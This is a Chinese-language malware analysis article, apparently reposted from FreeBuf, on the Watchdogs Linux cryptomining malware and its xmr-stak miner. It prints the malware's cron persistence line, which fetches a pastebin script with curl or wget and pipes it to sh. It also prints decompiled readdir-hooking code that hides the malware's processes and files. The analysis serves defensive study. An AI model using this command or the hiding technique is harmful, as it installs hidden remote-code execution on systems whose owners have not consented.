Watch Dogs挖矿病毒分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。首先分析下watchdog程序。

*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。

0×1 Watchdogs程序

首先分析下watchdog程序。

由于程序使用golang编写的ida无法识别其中的符号信息,需要手动修复一下,可使用以下idapython脚本进行修复,修复后可还原一部分方法名。便于之后的分析。

脚本地址: https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro

通过脚本还原符号,重命名了 3946 个方法。

下面分析主函数 main.main():

Main 函数中主要做的工作就是:

1. 将watchdogs这个进程设置为系统服务
2. 将libioset写入到/etc/ld.so.preload中
3. 将写入定时任务,远程下载挖矿文件
4. 启动ksoftirqds进程进行挖矿操作
5. 更新程序
6. 删除一些文件(watchdogs&ksoftirqds&config.json)

Watch Dogs挖矿病毒分析

下面是详细分析。

主要操作预览:

Watch Dogs挖矿病毒分析

这里是将watchdogs添加为系统服务:

Watch Dogs挖矿病毒分析

这里大概的意思是将libioset.so写入奥/etc/local/ld.so.preload:

Watch Dogs挖矿病毒分析

这里是写入配置信息到文件/tmp/config.json中:

Watch Dogs挖矿病毒分析

这里是写入定时任务:

Watch Dogs挖矿病毒分析

通过查看计划任务发现。

每15分钟执行一次下载操作:

Watch Dogs挖矿病毒分析

通过网页访问这个url发现其是一段base64加密的数据。

Base64解密后如下。

这里是检查更新:

Watch Dogs挖矿病毒分析

通过tcpdump进行协议抓包分析,发现有挖矿行为:

Watch Dogs挖矿病毒分析

通过htop进行进程分析,发现会启动以下的进程,cpu占用率极高:

Watch Dogs挖矿病毒分析

通过使用inotify监视bin目录,发现其删除了一个netstat命令:

Watch Dogs挖矿病毒分析

通过分析可知watchdogs可知程序执行过程中会释放watchdogs,config.json及ksoftirqds到tmp目录下。

下面我们来细细的分析下释放出来的挖矿木马程序ksoftirqds。

在watchdogs的中,对watchdos,config.json,ksoftrqds进行了删除操作:

Watch Dogs挖矿病毒分析

另外为了隐藏进程信息及相关的文件信息,该病毒也对对一些libc.so中的函数进行了重写,如readdir函数。

主要工作:

1、加载动态链接库libc.so

2、old_readdir =(__int64 (__fastcall *)(_QWORD))dlsym(libc, “readdir”);// 加载libc.so中的readdir函数,打开一个目录。

这里有一个do while statement:

do
  {
   v4 = old_readdir(a1);                       // 使用readdir打开一个目录
   if ( v4 )
    {
     if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 调用getdirname
       && !strcmp(&s1, "/proc")
       && (unsigned int)get_process_name(v4 + 19, &v3)
       && !strcmp(&v3, "ksoftirqds") )
     {
       return 0LL;
     }
     if ( !strcmp(&v3, "watchdogs") )
       return 0LL;
    }
   if ( v4 && !strcmp((const char *)(v4 + 19), ".") )
     strcmp((const char *)(v4 + 19), "/");
  }
 while ( v4
      && (strstr((const char *)(v4 + 19), "ksoftirqds")// 判断ksoftirqds是否是v4+19这个地址中的字符串的子集
        || strstr((const char *)(v4 + 19),"ld.so.preload")
       || strstr((const char *)(v4 + 19), "libioset.so")) );

大致的意思是:

如果存在v4+19 地址上存在ksoftirqds,ld.so.preload,libioset.so,则检查指定目录:

是否存在ld.so.preload文件
是否存在ksoftirqds的信息
是否存在watchdog的信息

这里是重写了readir函数,作用是,如果程序使用了该函数执行后,结果中包含恶意应用名称及路径,则不返回相应结果,起到隐藏作用。

另外程序也对rmdir函数进行了重写,防止恶意程序的文件被删除。

这里是重写的函数列表:

Watch Dogs挖矿病毒分析

其中作者不仅在access中做了隐藏操作,进行了写入计划任务的操作:

这里是写入定时任务:

  s =fopen("/etc/cron.d/root", "w+");

if( s )

{

fwrite(

"*/10 * * * * root (curl -fsSL https://pastebin.com/raw/sByq0rym ||wget -q -O- https://pastebin.com/raw/sByq0rym )|sh\n##",

1uLL,

0x75uLL,

s);

fclose(s);

}

0×2 针对ksoftirqds的分析(挖矿)

如果我们想分析ksoftirqds的话,需要将tmp目录使用chattr +a /tmp命令锁住,这样可以防止这些文件被删除。

通过分析发现,这个木马文件也是用upx加壳的,我们使用upx工具执行:upx-d 即可脱壳。

下面使用ida进行源码分析。

首先使用ida的字符串检索功能,找到如下矿池地址:

Watch Dogs挖矿病毒分析

搜索xmr.f2pool.com,跟入并寻找引用位置。

找到了钱包钱包地址:

Watch Dogs挖矿病毒分析

它是在do_guided_pool_config这个函数中的,这里做矿池配置。

Main()->do_guided_pool_config()

通过分析该木马使用的是一款名叫xmr-stak的挖矿程序:

Watch Dogs挖矿病毒分析

它的项目地址地址在 https://github.com/fireice-uk/xmr-stak

Watch Dogs挖矿病毒分析

对象的github项目的特征位置:

Watch Dogs挖矿病毒分析

这款挖矿系统除了能够挖掘门罗币,还能够挖掘以下的虚拟货币:

Watch Dogs挖矿病毒分析

watchdogs 中写入定时任务,释放ksoftirqds进行挖矿,并每个15分钟检查更新。

ksofttirqds 程序主要是使用xmr-stak挖矿程序挖掘门罗币。

其矿池为:tcp://xmr.f2pool.com:13531

钱包地址为:46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx

*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

基于内容图像检索技术

基于内容图像检索技术

周明全 / 清华大学 / 2007-12 / 28.00元

《基于内容图像检索技术》从理论方法研究与实现技术角度,总结归纳了基于内容图像检索(CBIR)技术的研究与进展,并融入了作者多年来的相关研究与应用成果,系统地介绍了CBIR的主要概念、基本原理、典型方法、实用范例以及新动向。《基于内容图像检索技术》共有12章分为五部分:第一部分是概述,分析了CBIR的体系结构、技术现状和发展趋势;第一部分讨论图像特征提取,给出图像低层特征(颜色、形状、纹理、空间关系......一起来看看 《基于内容图像检索技术》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具